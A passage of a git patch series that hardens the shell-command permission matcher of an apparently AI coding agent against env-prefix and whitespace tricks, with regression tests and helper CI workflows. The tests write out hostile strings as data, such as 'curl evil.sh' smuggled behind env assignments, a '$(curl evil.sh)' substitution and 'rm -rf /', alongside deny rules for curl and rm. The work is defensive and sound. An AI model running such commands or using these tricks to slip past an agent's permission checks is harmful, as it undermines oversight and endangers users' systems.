whitespace is canonicalized', - 'Bash-IFS whitespace outside quotes is canonicalized', - ) - s = s[:normalize_start] + normalize_block + s[normalize_end:] - path.write_text(s) - - test_path = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') - tests = test_path.read_text() - if "describe('R3 env-prefix regressions'" in tests: - raise SystemExit('R3 regression block already present') - tests += r''' - - describe('R3 env-prefix regressions', () => { - it('does not widen wildcard assignment-only rules into commands', () => { - expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true); - expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe(false); - }); - - it('keeps env-value wildcards inside the assignment shell word', () => { - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=x sh -c evil npm', - ), - ).toBe(false); - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(true); - }); - - it('does not treat non-IFS whitespace as Bash word boundaries', () => { - for (const whitespace of ['\u000b', '\u000c', '\r', '\u00a0']) { - expect( - matchesCommandPattern( - 'FOO=bar x *', - `FOO=bar${whitespace}x curl evil.sh`, - ), - ).toBe(false); - } - }); - - it('keeps legacy colon-star syntax out of env values', () => { - expect(parseRule('Bash(git:*)').specifier).toBe('git *'); - expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( - 'FOO=a:* npm install', - ); - }); - - it('keeps restrictive rules on env-prefixed compound segments', async () => { - const denyPm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), - ); - denyPm.initialize(); - await expect( - denyPm.evaluate({ - toolName: 'run_shell_command', - command: 'echo hi && FOO=1 rm -rf /', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - - const askPm = new PermissionManager( - makeConfig(['Bash(*)'], ['Bash(git push *)']), - ); - askPm.initialize(); - await expect( - askPm.evaluate({ - toolName: 'run_shell_command', - command: 'echo hi && FOO=bar git push --force', - cwd: '/repo', - }), - ).resolves.toBe('ask'); - }); - - it('keeps restrictive matching aligned with Bash non-IFS whitespace', async () => { - const pm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(curl *)']), - ); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command: 'FOO=bar\u000bx curl evil.sh', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - }); - - it('round-trips multiple leading environment assignments', async () => { - const command = 'A=1 B=2 npm install express'; - const rules = await extractCommandRules(command); - expect(rules).toEqual(['A=1 B=2 npm install *']); - const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); - pm.initialize(); - await expect( - pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), - ).resolves.toBe('allow'); - }); - - it('round-trips colon-star env values through generated rules', async () => { - const command = 'FOO=a:* npm install'; - const rules = await extractCommandRules(command); - expect(rules).toEqual(['FOO=a:* npm install']); - expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); - const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); - pm.initialize(); - await expect( - pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), - ).resolves.toBe('allow'); - }); - }); - ''' - test_path.write_text(tests) - PY - - - name: Install dependencies - run: npm ci - - - name: Format and lint touched files - run: | - npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - npx eslint --max-warnings 0 packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - - - name: Run focused permission and shell tests - run: | - npx vitest run \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/permission-manager.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.test.ts \ - packages/core/src/utils/shell-ast-parser-lazy.test.ts - - - name: Commit reviewed changes and remove helpers - shell: bash - run: | - rm -f .github/workflows/finalize-pr-10212-r4.yml - rm -f .github/workflows/finalize-pr-10212-r4b.yml - rm -f .github/workflows/finalize-pr-10212-r4c.yml - rm -f .github/workflows/finalize-pr-10212-r4d.yml - git config user.name "SLP-DEV1" - git config user.email "298325363+SLP-DEV1@users.noreply.github.com" - git add -A - git diff --cached --check - git commit -m "fix(core): close env-prefix permission review gaps" - git push origin HEAD:fix/10197-env-prefix-bash-rules diff --git a/.github/workflows/finalize-pr-10212-r4e.yml b/.github/workflows/finalize-pr-10212-r4e.yml deleted file mode 100644 index 58aa4525c31..00000000000 --- a/.github/workflows/finalize-pr-10212-r4e.yml +++ /dev/null @@ -1,86 +0,0 @@ -name: Finalize PR 10212 R4e - -on: - push: - branches: - - fix/10197-env-prefix-bash-rules - paths: - - .github/workflows/finalize-pr-10212-r4e.yml - -permissions: - contents: write - -jobs: - apply-reviewed-fixes: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - fetch-depth: 0 - - - uses: actions/setup-node@v4 - with: - node-version: 22 - cache: npm - - - name: Reuse verified R4d source patch and fix lint-only escape - shell: bash - run: | - python3 <<'PY' - from pathlib import Path - import subprocess - import textwrap - - workflow = Path('.github/workflows/finalize-pr-10212-r4d.yml').read_text() - start_marker = " python3 <<'PY'\n" - end_marker = "\n PY\n" - start = workflow.index(start_marker) + len(start_marker) - end = workflow.index(end_marker, start) - patch_script = textwrap.dedent(workflow[start:end]) - Path('/tmp/apply_pr_10212_r4d.py').write_text(patch_script) - subprocess.run(['python3', '/tmp/apply_pr_10212_r4d.py'], check=True) - - source = Path('packages/core/src/permissions/rule-parser.ts') - text = source.read_text() - block_start = text.index('// Legacy `:*` is token syntax; never rewrite env assignment values.') - block_end = text.index(' );', block_start) + len(' );') - block = text[block_start:block_end] - fixed = block.replace('\\"', '"') - if fixed == block: - raise SystemExit('expected lint-only escaped quote was not present') - text = text[:block_start] + fixed + text[block_end:] - source.write_text(text) - PY - - - name: Install dependencies and compile monorepo - run: npm ci - - - name: Format and lint touched files - run: | - npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - npx eslint --max-warnings 0 packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - - - name: Run focused permission and shell tests - run: | - npx vitest run \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/permission-manager.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.test.ts \ - packages/core/src/utils/shell-ast-parser-lazy.test.ts - - - name: Commit reviewed changes and remove helper workflows - shell: bash - run: | - rm -f .github/workflows/finalize-pr-10212-r4.yml - rm -f .github/workflows/finalize-pr-10212-r4b.yml - rm -f .github/workflows/finalize-pr-10212-r4c.yml - rm -f .github/workflows/finalize-pr-10212-r4d.yml - rm -f .github/workflows/finalize-pr-10212-r4e.yml - git config user.name "SLP-DEV1" - git config user.email "298325363+SLP-DEV1@users.noreply.github.com" - git add -A - git diff --cached --check - git commit -m "fix(core): close env-prefix permission review gaps" - git push origin HEAD:fix/10197-env-prefix-bash-rules diff --git a/packages/core/src/permissions/rule-parser.env-prefix.test.ts b/packages/core/src/permissions/rule-parser.env-prefix.test.ts index 32c96268a03..56bab591c74 100644 --- a/packages/core/src/permissions/rule-parser.env-prefix.test.ts +++ b/packages/core/src/permissions/rule-parser.env-prefix.test.ts @@ -220,3 +220,106 @@ describe('env-prefixed grant generation and AUTO classification', () => { expect(findDangerousAllowRules([python, npx])).toEqual([python, npx]); }); }); + +describe('R3 env-prefix regressions', () => { + it('does not widen wildcard assignment-only rules into commands', () => { + expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe(false); + }); + + it('keeps env-value wildcards inside the assignment shell word', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=x sh -c evil npm', + ), + ).toBe(false); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + }); + + it('does not treat non-IFS whitespace as Bash word boundaries', () => { + for (const whitespace of ['\u000b', '\u000c', '\r', '\u00a0']) { + expect( + matchesCommandPattern( + 'FOO=bar x *', + `FOO=bar${whitespace}x curl evil.sh`, + ), + ).toBe(false); + } + }); + + it('keeps legacy colon-star syntax out of env values', () => { + expect(parseRule('Bash(git:*)').specifier).toBe('git *'); + expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( + 'FOO=a:* npm install', + ); + }); + + it('keeps restrictive rules on env-prefixed compound segments', async () => { + const denyPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), + ); + denyPm.initialize(); + await expect( + denyPm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hi && FOO=1 rm -rf /', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + + const askPm = new PermissionManager( + makeConfig(['Bash(*)'], ['Bash(git push *)']), + ); + askPm.initialize(); + await expect( + askPm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hi && FOO=bar git push --force', + cwd: '/repo', + }), + ).resolves.toBe('ask'); + }); + + it('keeps restrictive matching aligned with Bash non-IFS whitespace', async () => { + const pm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(curl *)']), + ); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'FOO=bar\u000bx curl evil.sh', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + }); + + it('round-trips multiple leading environment assignments', async () => { + const command = 'A=1 B=2 npm install express'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['A=1 B=2 npm install *']); + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), + ).resolves.toBe('allow'); + }); + + it('round-trips colon-star env values through generated rules', async () => { + const command = 'FOO=a:* npm install'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['FOO=a:* npm install']); + expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), + ).resolves.toBe('allow'); + }); +}); diff --git a/packages/core/src/permissions/rule-parser.ts b/packages/core/src/permissions/rule-parser.ts index cb70f468cc0..55006151346 100644 --- a/packages/core/src/permissions/rule-parser.ts +++ b/packages/core/src/permissions/rule-parser.ts @@ -413,7 +413,11 @@ export function parseRule(raw: string): PermissionRule { ? getSpecifierKind(canonicalName) : undefined; if (specifierKind === 'command') { - rawSpecifier = rawSpecifier.replace(/:(\*)/g, ' $1'); + // Legacy `:*` is token syntax; never rewrite env assignment values. + rawSpecifier = rawSpecifier.replace( + /(^|[ \t\n])([^ \t\n="'`=]+):\*(?=$|[ \t\n])/g, + '$1$2 *', + ); } // For literal specifier kind, extract `key:value` param matchers. @@ -973,13 +977,23 @@ export function matchesCommandPattern( // This function matches a single pattern against a single simple command. // Compound command splitting is handled by the caller (PermissionManager). const normalizedCommand = normalizeCommandForPermissionMatch(command); - const normalizedPattern = collapseUnquotedWhitespace(pattern.trim()); + const normalizedPattern = collapseUnquotedWhitespace( + trimShellIfsWhitespace(pattern), + ); // Special case: lone `*` matches any single command. if (normalizedPattern === '*') { return true; } + // Assignment-only rules are identities, never command prefixes. + if ( + isAssignmentOnlyPermissionPattern(normalizedPattern) && + !isAssignmentOnlyPermissionPattern(normalizedCommand) + ) { + return false; + } + if (!normalizedPattern.includes('*')) { // An assignment-only rule is an identity, not a command prefix. Without // this guard `Bash(FOO=bar)` would authorize `FOO=bar `. @@ -997,6 +1011,9 @@ export function matchesCommandPattern( } // Build regex from glob pattern with word-boundary semantics. + // Wildcards in leading NAME=value words cannot cross shell-word boundaries. + const assignmentValueWildcards = + findUnquotedAssignmentValueWildcardPositions(normalizedPattern); let regex = '^'; let pos = 0; @@ -1015,7 +1032,7 @@ export function matchesCommandPattern( regex += '( .*)?'; } else { regex += escapeRegex(literalBefore); - regex += '.*'; + regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*'; } pos = starIdx + 1; @@ -1135,11 +1152,58 @@ function escapeRegex(s: string): string { export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; +function isShellIfsWhitespace(ch: string): boolean { + return ch === ' ' || ch === '\t' || ch === '\n'; +} + +function trimShellIfsWhitespace(value: string): string { + let start = 0; + let end = value.length; + while (start < end && isShellIfsWhitespace(value[start]!)) start++; + while (end > start && isShellIfsWhitespace(value[end - 1]!)) end--; + return value.slice(start, end); +} + +/** Preserve non-IFS JavaScript whitespace inside the shell word Bash sees. */ +function protectNonIfsWhitespace(command: string): { + protectedCommand: string; + restore: (value: string) => string; +} { + const replacements = new Map(); + let protectedCommand = ''; + let markerIndex = 0; + + for (const ch of command) { + if (/\s/u.test(ch) && !isShellIfsWhitespace(ch)) { + let token = `\uE000QWEN_WS_${markerIndex++}\uE001`; + while (command.includes(token) || replacements.has(token)) { + token = `\uE000QWEN_WS_${markerIndex++}\uE001`; + } + replacements.set(token, ch); + protectedCommand += token; + } else { + protectedCommand += ch; + } + } + + return { + protectedCommand, + restore(value: string): string { + let restored = value; + for (const [token, original] of replacements) { + restored = restored.replaceAll(token, original); + } + return restored; + }, + }; +} + function permissionMatchTokens(command: string): string[] { const tokens: string[] = []; - for (const token of parse(command)) { + const { protectedCommand, restore } = protectNonIfsWhitespace(command); + for (const token of parse(protectedCommand)) { if (typeof token === 'string') { - tokens.push(token); + tokens.push(restore(token)); } else if (token && typeof token === 'object' && 'op' in token) { if ( token.op === 'glob' && @@ -1148,7 +1212,7 @@ function permissionMatchTokens(command: string): string[] { ) { // shell-quote represents unquoted * / ? words as glob tokens. Keep // the original word so env assignments remain recognizable. - tokens.push(token.pattern); + tokens.push(restore(token.pattern)); } else if (typeof token.op === 'string') { tokens.push(token.op); } @@ -1163,7 +1227,7 @@ function permissionMatchTokens(command: string): string[] { * full identity so the new allow hardening can never narrow a restriction. */ export function stripLeadingVariableAssignments(command: string): string { - const trimmed = command.trim(); + const trimmed = trimShellIfsWhitespace(command); if (!trimmed) return trimmed; try { @@ -1182,7 +1246,7 @@ export function stripLeadingVariableAssignments(command: string): string { } } -/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */ +/** Collapse Bash-IFS whitespace outside quotes while retaining quotes. */ function collapseUnquotedWhitespace(command: string): string { let result = ''; let quote: "'" | '"' | '`' | null = null; @@ -1214,7 +1278,7 @@ function collapseUnquotedWhitespace(command: string): string { result += ch; continue; } - if (/\s/.test(ch)) { + if (isShellIfsWhitespace(ch)) { if (result) pendingSpace = true; continue; } @@ -1238,8 +1302,55 @@ function isAssignmentOnlyPermissionPattern(pattern: string): boolean { } } +function findUnquotedAssignmentValueWildcardPositions( + pattern: string, +): Set { + const positions = new Set(); + let quote: "'" | '"' | '`' | null = null; + let escaped = false; + let wordStart = 0; + let leadingAssignments = true; + + for (let i = 0; i < pattern.length; i++) { + const ch = pattern[i]!; + if (escaped) { + escaped = false; + continue; + } + if (ch === '\\' && quote !== "'") { + escaped = true; + continue; + } + if (quote) { + if (ch === quote) quote = null; + continue; + } + if (ch === "'" || ch === '"' || ch === '`') { + quote = ch; + continue; + } + if (ch === ' ') { + if (leadingAssignments) { + const word = pattern.slice(wordStart, i); + if (word && !ENV_ASSIGNMENT_REGEX.test(word)) { + leadingAssignments = false; + } + } + wordStart = i + 1; + continue; + } + if (ch === '*' && leadingAssignments) { + const beforeStar = pattern.slice(wordStart, i); + if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) { + positions.add(i); + } + } + } + return positions; +} + function normalizeCommandForPermissionMatch(command: string): string { - const trimmed = command.trim(); + const trimmed = trimShellIfsWhitespace(command); if (!trimmed) return trimmed; try { @@ -1253,7 +1364,7 @@ function normalizeCommandForPermissionMatch(command: string): string { } // Allow rules bind to the complete env-prefixed execution identity, but - // shell-equivalent unquoted whitespace is canonicalized on both sides. + // Bash-IFS whitespace outside quotes is canonicalized on both sides. if (firstCommandToken > 0) { return collapseUnquotedWhitespace(trimmed); } From 74bf30a0a421bbfd6518b1d5945ae6913691e59c Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 16:30:10 +0200 Subject: [PATCH 29/36] chore: apply PR 10212 round-4 fixes --- .github/workflows/fix-pr-10212-round4.yml | 101 ++++++++++++++++++++++ 1 file changed, 101 insertions(+) create mode 100644 .github/workflows/fix-pr-10212-round4.yml diff --git a/.github/workflows/fix-pr-10212-round4.yml b/.github/workflows/fix-pr-10212-round4.yml new file mode 100644 index 00000000000..c37d92604d2 --- /dev/null +++ b/.github/workflows/fix-pr-10212-round4.yml @@ -0,0 +1,101 @@ +name: Apply PR 10212 round-4 fixes + +on: + push: + branches: + - fix/10197-env-prefix-bash-rules + +permissions: + contents: write + +jobs: + apply-fix: + if: github.actor != 'github-actions[bot]' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + fetch-depth: 2 + + - name: Apply reviewed fixes + shell: bash + run: | + python - <<'PY' + from pathlib import Path + import subprocess + import sys + + EXPECTED_PARENT = '463bcd0685f309990eb1a9b7c3fa578a908ea54a' + parent = subprocess.check_output(['git', 'rev-parse', 'HEAD^'], text=True).strip() + if parent != EXPECTED_PARENT: + raise SystemExit(f'unexpected workflow parent {parent}; expected {EXPECTED_PARENT}') + + parser_path = Path('packages/core/src/permissions/rule-parser.ts') + test_path = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') + parser = parser_path.read_text(encoding='utf-8') + test = test_path.read_text(encoding='utf-8') + + def replace_once(text: str, old: str, new: str, label: str) -> str: + count = text.count(old) + if count != 1: + raise SystemExit(f'{label}: expected 1 match, found {count}') + return text.replace(old, new, 1) + + parser = replace_once( + parser, + ''' rawSpecifier = rawSpecifier.replace(\n /(^|[ \\t\\n])([^ \\t\\n="\'`=]+):\\*(?=$|[ \\t\\n])/g,\n '$1$2 *',\n );''', + ''' rawSpecifier = rawSpecifier.replace(\n /(^|[ \\t\\n])([^ \\t\\n]+):\\*(?=$|[ \\t\\n])/g,\n (match, leadingWhitespace: string, token: string) =>\n ENV_ASSIGNMENT_REGEX.test(token)\n ? match\n : `${leadingWhitespace}${token} *`,\n );''', + 'legacy colon-star rewrite', + ) + + parser = replace_once( + parser, + ''' specifierKind !== 'literal' &&\n rawSpecifier.includes(':') &&\n !rawSpecifier.startsWith('domain:')''', + ''' specifierKind !== 'literal' &&\n stripLeadingVariableAssignments(rawSpecifier).includes(':') &&\n !rawSpecifier.startsWith('domain:')''', + 'env-prefix key:value warning', + ) + + parser = replace_once( + parser, + ''' const assignmentValueWildcards =\n findUnquotedAssignmentValueWildcardPositions(normalizedPattern);''', + ''' const assignmentValueWildcards =\n findAssignmentValueWildcardPositions(normalizedPattern);''', + 'assignment wildcard scanner call', + ) + + parser = replace_once( + parser, + ''' if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') {\n const literalWithoutTrailingSpace = literalBefore.slice(0, -1);\n regex += escapeRegex(literalWithoutTrailingSpace);\n regex += '( .*)?';\n } else {\n regex += escapeRegex(literalBefore);\n regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*';\n }''', + ''' if (assignmentValueWildcards.literal.has(starIdx)) {\n // A wildcard written inside quotes or shell substitution in a leading\n // assignment is shell syntax, not a permission wildcard. Matching it\n // literally prevents the rule from authorizing different executable\n // substitution text.\n regex += escapeRegex(literalBefore);\n regex += '\\\\*';\n } else if (assignmentValueWildcards.bounded.has(starIdx)) {\n // Unquoted assignment-value wildcards may vary, but never consume the\n // next shell word and thereby change the command identity.\n regex += escapeRegex(literalBefore);\n regex += '[^ ]*';\n } else if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') {\n const literalWithoutTrailingSpace = literalBefore.slice(0, -1);\n regex += escapeRegex(literalWithoutTrailingSpace);\n regex += '( .*)?';\n } else {\n regex += escapeRegex(literalBefore);\n regex += '.*';\n }''', + 'assignment wildcard regex handling', + ) + + old_scanner = '''function findUnquotedAssignmentValueWildcardPositions(\n pattern: string,\n): Set {\n const positions = new Set();\n let quote: "'" | '"' | '`' | null = null;\n let escaped = false;\n let wordStart = 0;\n let leadingAssignments = true;\n\n for (let i = 0; i < pattern.length; i++) {\n const ch = pattern[i]!;\n if (escaped) {\n escaped = false;\n continue;\n }\n if (ch === '\\\\' && quote !== "'") {\n escaped = true;\n continue;\n }\n if (quote) {\n if (ch === quote) quote = null;\n continue;\n }\n if (ch === "'" || ch === '"' || ch === '`') {\n quote = ch;\n continue;\n }\n if (ch === ' ') {\n if (leadingAssignments) {\n const word = pattern.slice(wordStart, i);\n if (word && !ENV_ASSIGNMENT_REGEX.test(word)) {\n leadingAssignments = false;\n }\n }\n wordStart = i + 1;\n continue;\n }\n if (ch === '*' && leadingAssignments) {\n const beforeStar = pattern.slice(wordStart, i);\n if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) {\n positions.add(i);\n }\n }\n }\n return positions;\n}\n''' + + new_scanner = '''function findAssignmentValueWildcardPositions(pattern: string): {\n bounded: Set;\n literal: Set;\n} {\n const bounded = new Set();\n const literal = new Set();\n let quote: "'" | '"' | '`' | null = null;\n let escaped = false;\n let wordStart = 0;\n let leadingAssignments = true;\n let substitutionDepth = 0;\n\n const isLeadingAssignmentWildcard = (index: number): boolean =>\n leadingAssignments &&\n ENV_ASSIGNMENT_REGEX.test(pattern.slice(wordStart, index));\n\n for (let i = 0; i < pattern.length; i++) {\n const ch = pattern[i]!;\n if (escaped) {\n escaped = false;\n continue;\n }\n if (ch === '\\\\' && quote !== "'") {\n escaped = true;\n continue;\n }\n if (quote) {\n if (ch === '*' && isLeadingAssignmentWildcard(i)) {\n literal.add(i);\n }\n if (ch === quote) quote = null;\n continue;\n }\n if (ch === "'" || ch === '"' || ch === '`') {\n quote = ch;\n continue;\n }\n if (\n (ch === '$' || ch === '<' || ch === '>') &&\n pattern[i + 1] === '('\n ) {\n substitutionDepth++;\n i++;\n continue;\n }\n if (substitutionDepth > 0) {\n if (ch === '(') {\n substitutionDepth++;\n } else if (ch === ')') {\n substitutionDepth--;\n } else if (ch === '*' && isLeadingAssignmentWildcard(i)) {\n literal.add(i);\n }\n continue;\n }\n if (ch === ' ') {\n if (leadingAssignments) {\n const word = pattern.slice(wordStart, i);\n if (word && !ENV_ASSIGNMENT_REGEX.test(word)) {\n leadingAssignments = false;\n }\n }\n wordStart = i + 1;\n continue;\n }\n if (ch === '*' && isLeadingAssignmentWildcard(i)) {\n bounded.add(i);\n }\n }\n\n return { bounded, literal };\n}\n''' + parser = replace_once(parser, old_scanner, new_scanner, 'assignment wildcard scanner') + + test_anchor = ''' it('does not treat non-IFS whitespace as Bash word boundaries', () => {\n''' + new_tests = ''' it('does not let quoted env wildcards cross shell-word boundaries', () => {\n expect(\n matchesCommandPattern(\n 'FOO="*" npm *',\n 'FOO="x" npm" npm install evil"',\n ),\n ).toBe(false);\n expect(\n matchesCommandPattern('FOO="*" npm *', 'FOO="*" npm install'),\n ).toBe(true);\n });\n\n it('does not generalize wildcards inside env command substitutions', () => {\n expect(\n matchesCommandPattern(\n 'FILES=$(ls *.txt) npm run *',\n 'FILES=$(ls $(curl evil.sh).txt) npm run build',\n ),\n ).toBe(false);\n expect(\n matchesCommandPattern(\n 'FILES=$(ls *.txt) npm run *',\n 'FILES=$(ls *.txt) npm run build',\n ),\n ).toBe(true);\n });\n\n''' + if new_tests not in test: + test = replace_once(test, test_anchor, new_tests + test_anchor, 'round-4 wildcard tests') + + colon_anchor = ''' expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe(\n 'FOO=a:* npm install',\n );\n''' + colon_tests = colon_anchor + ''' expect(parseRule('Bash(npm --registry=https://x:*)').specifier).toBe(\n 'npm --registry=https://x *',\n );\n expect(parseRule("Bash(FOO='a:*' npm)").specifier).toBe("FOO='a:*' npm");\n expect(parseRule('Bash(FOO="a:*" npm)').specifier).toBe(\n 'FOO="a:*" npm',\n );\n expect(parseRule('Bash(FOO=`a:*` npm)').specifier).toBe(\n 'FOO=`a:*` npm',\n );\n''' + test = replace_once(test, colon_anchor, colon_tests, 'colon-star regression tests') + + parser_path.write_text(parser, encoding='utf-8') + test_path.write_text(test, encoding='utf-8') + PY + + git diff --check + git diff -- packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + + - name: Commit and push fixes + shell: bash + run: | + git config user.name 'github-actions[bot]' + git config user.email '41898282+github-actions[bot]@users.noreply.github.com' + git add packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + git commit -m 'fix(core): harden env-prefix wildcard permission matching' + git push origin HEAD:fix/10197-env-prefix-bash-rules From ffba09a61c9cec89ac9e5c8b68202d12e028ddff Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Mon, 31 Aug 2026 14:30:28 +0000 Subject: [PATCH 30/36] fix(core): harden env-prefix wildcard permission matching --- .../rule-parser.env-prefix.test.ts | 37 ++++++++++ packages/core/src/permissions/rule-parser.ts | 73 +++++++++++++++---- 2 files changed, 94 insertions(+), 16 deletions(-) diff --git a/packages/core/src/permissions/rule-parser.env-prefix.test.ts b/packages/core/src/permissions/rule-parser.env-prefix.test.ts index 56bab591c74..bfdce67cd2f 100644 --- a/packages/core/src/permissions/rule-parser.env-prefix.test.ts +++ b/packages/core/src/permissions/rule-parser.env-prefix.test.ts @@ -242,6 +242,33 @@ describe('R3 env-prefix regressions', () => { ).toBe(true); }); + it('does not let quoted env wildcards cross shell-word boundaries', () => { + expect( + matchesCommandPattern( + 'FOO="*" npm *', + 'FOO="x" npm" npm install evil"', + ), + ).toBe(false); + expect( + matchesCommandPattern('FOO="*" npm *', 'FOO="*" npm install'), + ).toBe(true); + }); + + it('does not generalize wildcards inside env command substitutions', () => { + expect( + matchesCommandPattern( + 'FILES=$(ls *.txt) npm run *', + 'FILES=$(ls $(curl evil.sh).txt) npm run build', + ), + ).toBe(false); + expect( + matchesCommandPattern( + 'FILES=$(ls *.txt) npm run *', + 'FILES=$(ls *.txt) npm run build', + ), + ).toBe(true); + }); + it('does not treat non-IFS whitespace as Bash word boundaries', () => { for (const whitespace of ['\u000b', '\u000c', '\r', '\u00a0']) { expect( @@ -258,6 +285,16 @@ describe('R3 env-prefix regressions', () => { expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( 'FOO=a:* npm install', ); + expect(parseRule('Bash(npm --registry=https://x:*)').specifier).toBe( + 'npm --registry=https://x *', + ); + expect(parseRule("Bash(FOO='a:*' npm)").specifier).toBe("FOO='a:*' npm"); + expect(parseRule('Bash(FOO="a:*" npm)').specifier).toBe( + 'FOO="a:*" npm', + ); + expect(parseRule('Bash(FOO=`a:*` npm)').specifier).toBe( + 'FOO=`a:*` npm', + ); }); it('keeps restrictive rules on env-prefixed compound segments', async () => { diff --git a/packages/core/src/permissions/rule-parser.ts b/packages/core/src/permissions/rule-parser.ts index 55006151346..c4ad75e7632 100644 --- a/packages/core/src/permissions/rule-parser.ts +++ b/packages/core/src/permissions/rule-parser.ts @@ -415,8 +415,11 @@ export function parseRule(raw: string): PermissionRule { if (specifierKind === 'command') { // Legacy `:*` is token syntax; never rewrite env assignment values. rawSpecifier = rawSpecifier.replace( - /(^|[ \t\n])([^ \t\n="'`=]+):\*(?=$|[ \t\n])/g, - '$1$2 *', + /(^|[ \t\n])([^ \t\n]+):\*(?=$|[ \t\n])/g, + (match, leadingWhitespace: string, token: string) => + ENV_ASSIGNMENT_REGEX.test(token) + ? match + : `${leadingWhitespace}${token} *`, ); } @@ -465,7 +468,7 @@ export function parseRule(raw: string): PermissionRule { } } else if ( specifierKind !== 'literal' && - rawSpecifier.includes(':') && + stripLeadingVariableAssignments(rawSpecifier).includes(':') && !rawSpecifier.startsWith('domain:') ) { debugLogger.warn( @@ -1013,7 +1016,7 @@ export function matchesCommandPattern( // Build regex from glob pattern with word-boundary semantics. // Wildcards in leading NAME=value words cannot cross shell-word boundaries. const assignmentValueWildcards = - findUnquotedAssignmentValueWildcardPositions(normalizedPattern); + findAssignmentValueWildcardPositions(normalizedPattern); let regex = '^'; let pos = 0; @@ -1026,13 +1029,25 @@ export function matchesCommandPattern( const literalBefore = normalizedPattern.substring(pos, starIdx); - if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { + if (assignmentValueWildcards.literal.has(starIdx)) { + // A wildcard written inside quotes or shell substitution in a leading + // assignment is shell syntax, not a permission wildcard. Matching it + // literally prevents the rule from authorizing different executable + // substitution text. + regex += escapeRegex(literalBefore); + regex += '\\*'; + } else if (assignmentValueWildcards.bounded.has(starIdx)) { + // Unquoted assignment-value wildcards may vary, but never consume the + // next shell word and thereby change the command identity. + regex += escapeRegex(literalBefore); + regex += '[^ ]*'; + } else if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { const literalWithoutTrailingSpace = literalBefore.slice(0, -1); regex += escapeRegex(literalWithoutTrailingSpace); regex += '( .*)?'; } else { regex += escapeRegex(literalBefore); - regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*'; + regex += '.*'; } pos = starIdx + 1; @@ -1302,14 +1317,21 @@ function isAssignmentOnlyPermissionPattern(pattern: string): boolean { } } -function findUnquotedAssignmentValueWildcardPositions( - pattern: string, -): Set { - const 